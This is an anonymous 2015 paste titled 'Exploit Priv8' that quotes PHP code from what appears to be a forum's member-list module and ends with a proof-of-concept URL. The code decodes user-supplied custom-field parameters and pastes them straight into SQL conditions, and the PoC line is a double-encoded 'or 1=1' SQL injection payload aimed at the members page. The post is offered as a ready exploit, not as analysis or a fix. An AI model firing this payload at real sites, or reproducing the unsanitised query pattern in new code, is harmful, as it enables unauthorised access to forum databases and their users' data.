Exploit Priv8


SUBMITTED BY: Guest

DATE: July 29, 2015, 9:52 p.m.

FORMAT: Text only

SIZE: 2.0 kB

HITS: 936

  1. vuln code
  2. admin/applications/members/modules_public/list/view.php
  3. //-----------------------------------------
  4. // Custom fields?
  5. //-----------------------------------------
  6. if ( count( $this->custom_fields->out_fields ) )
  7. {
  8. foreach( $this->custom_fields->out_fields as $id => $data )
  9. {
  10. if ( !empty($this->request[ 'field_' . $id ]) )
  11. {
  12. $_queryPP = true;
  13. if( is_array($this->request[ 'field_' . $id ]) )
  14. {
  15. foreach( $this->request[ 'field_' . $id ] as $k => $v )
  16. {
  17. $this->request[ 'field_' . $id ][ $k ] = urldecode($v);
  18. $url['field_' . $id] = "field_{$id}[{$k}]=" . $v;
  19. }
  20. }
  21. else
  22. {
  23. $url['field_' . $id] = "field_{$id}=" . $this->request[ 'field_' . $id ];
  24. $this->request[ 'field_' . $id ] = urldecode($this->request[ 'field_' . $id ]);
  25. }
  26. if( $this->custom_fields->cache_data[ $id ]['pf_type'] == 'drop' )
  27. {
  28. $query[] = "p.field_{$id}='" . $this->request[ 'field_' . $id ] . "'";
  29. }
  30. else if( $this->custom_fields->cache_data[ $id ]['pf_type'] == 'cbox' )
  31. {
  32. if ( count( $this->request[ 'field_' . $id ] ) )
  33. {
  34. if ( $this->custom_fields->cache_data[ $id ]['pf_search_type'] == 'loose' )
  35. {
  36. $cboxFields = array();
  37. foreach ( $this->request[ 'field_' . $id ] as $k => $v )
  38. {
  39. $cboxFields[] = "p.field_{$id} LIKE '%|{$k}|%'";
  40. }
  41. $query[] = "( " . implode( ' OR ', $cboxFields ) . " )";
  42. }
  43. else
  44. {
  45. foreach ( $this->request[ 'field_' . $id ] as $k => $v )
  46. {
  47. $query[] = "p.field_{$id} LIKE '%|{$k}|%'";
  48. }
  49. }
  50. }
  51. }
  52. else
  53. {
  54. $query[] = $this->custom_fields->cache_data[ $id ]['pf_search_type'] == 'loose' ? "p.field_{$id} LIKE '%" . $this->request[ 'field_' . $id ] . "%'" : "p.field_{$id} = '" . $this->request[ 'field_' . $id ] . "'";
  55. }
  56. }
  57. }
  58. }
  59. ......
  60. POC
  61. index.php?/members/?field_1=admin%2525%2527%2Bor%2B1%253D1--%2B1

comments powered by Disqus